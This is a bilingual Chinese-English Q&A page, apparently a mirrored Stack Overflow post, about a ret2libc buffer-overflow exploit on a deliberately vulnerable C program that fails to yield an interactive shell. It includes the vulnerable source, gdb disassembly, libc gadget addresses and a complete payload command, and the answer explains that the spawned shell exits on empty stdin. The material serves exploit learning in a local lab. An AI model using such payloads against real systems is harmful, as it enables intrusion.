ret2libc攻击不会产生外壳 [英] ret2libc attack doesn't spawn shell
问题描述
我执行了ret2libc.一切正常，但没有生成shell.源代码是
I performed ret2libc.Everything worked fine but the shell is not spawned.The source code is
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
char buf[10];
scanf("%s",buf);
printf("%s\n",buf);
}
int main()
{
get();
printf("Done\n");
printf("/bin/sh");
return 1;
}
从gdb进行反汇编是
(gdb) disass main
Dump of assembler code for function main:
0x0000555555555184 <+0>: push rbp
0x0000555555555185 <+1>: mov rbp,rsp
0x0000555555555188 <+4>: mov eax,0x0
0x000055555555518d <+9>: call 0x555555555155 <get>
0x0000555555555192 <+14>: lea rdi,[rip+0xe6e] # 0x555555556007
0x0000555555555199 <+21>: call 0x555555555030 <puts@plt>
0x000055555555519e <+26>: lea rdi,[rip+0xe67] # 0x55555555600c
0x00005555555551a5 <+33>: mov eax,0x0
0x00005555555551aa <+38>: call 0x555555555040 <printf@plt>
0x00005555555551af <+43>: mov eax,0x1
0x00005555555551b4 <+48>: pop rbp
0x00005555555551b5 <+49>: ret
End of assembler dump.
(gdb) disass get
Dump of assembler code for function get:
0x0000555555555155 <+0>: push rbp
0x0000555555555156 <+1>: mov rbp,rsp
0x0000555555555159 <+4>: sub rsp,0x10
0x000055555555515d <+8>: lea rax,[rbp-0xa]
0x0000555555555161 <+12>: mov rsi,rax
0x0000555555555164 <+15>: lea rdi,[rip+0xe99] # 0x555555556004
0x000055555555516b <+22>: mov eax,0x0
0x0000555555555170 <+27>: call 0x555555555050 <__isoc99_scanf@plt>
0x0000555555555175 <+32>: lea rax,[rbp-0xa]
0x0000555555555179 <+36>: mov rdi,rax
0x000055555555517c <+39>: call 0x555555555030 <puts@plt>
0x0000555555555181 <+44>: nop
0x0000555555555182 <+45>: leave
0x0000555555555183 <+46>: ret
End of assembler dump.
我使用radare2查找了小工具 pop rdi; ret ，它位于 0x7ffff7e1d7de ./bin/sh 位于 0x7ffff7f7f1ac ， system()位于 0x7ffff7e3f8a0 和 exit()位于 0x7ffff7e34fe0
I used radare2 to find the gadget pop rdi;ret and it is located at 0x7ffff7e1d7de. /bin/sh is located at 0x7ffff7f7f1ac,system() is at 0x7ffff7e3f8a0 and exit() is at 0x7ffff7e34fe0
(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00" + "\xe0\x4f\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00" + "\xe0\x4f\xe3\xf7\xff\x7f\x00\x00")')
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2664]
[Inferior 1 (process 2658) exited with code 02]
当我用 ls 命令的地址替换/bin/sh 的地址时，它列出了目录的内容.但是/bin/sh 并没有产生一个shell.我使用的是64位计算机，该程序使用 gcc -ggdb -Wall -fno-stack-protector -o exploit.c 进行了编译，并且手动禁用了aslr.为什么它不生成外壳?
When I replaced the address of /bin/sh with the address of ls command, it listed the contents of the directory. But /bin/sh isn't spawning a shell. I use a 64-bit machine.The program was compiled using gcc -ggdb -Wall -fno-stack-protector -o a exploit.c and aslr was disabled manually. Why does it not spawn the shell?
推荐答案
您的程序确实产生了一个外壳.这很容易看到，因为当您将其更改为生成 ls 时，它会生成 ls .
Your program does spawn a shell. This is easy to see, because when you change it to spawn ls, it spawns ls.
您的程序的标准输入来自Python脚本.您的程序从脚本读取所有输出，然后启动外壳程序.Shell使用与您的程序相同的标准输入.Shell尝试读取命令，但是没有更多输入，因此它退出了.
Your program's standard input comes from a Python script. Your program reads all the output from the script, then starts a shell. The shell uses the same standard input as your program. The shell tries to read a command, but there is no more input, so it just exits.
这篇关于ret2libc攻击不会产生外壳的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！
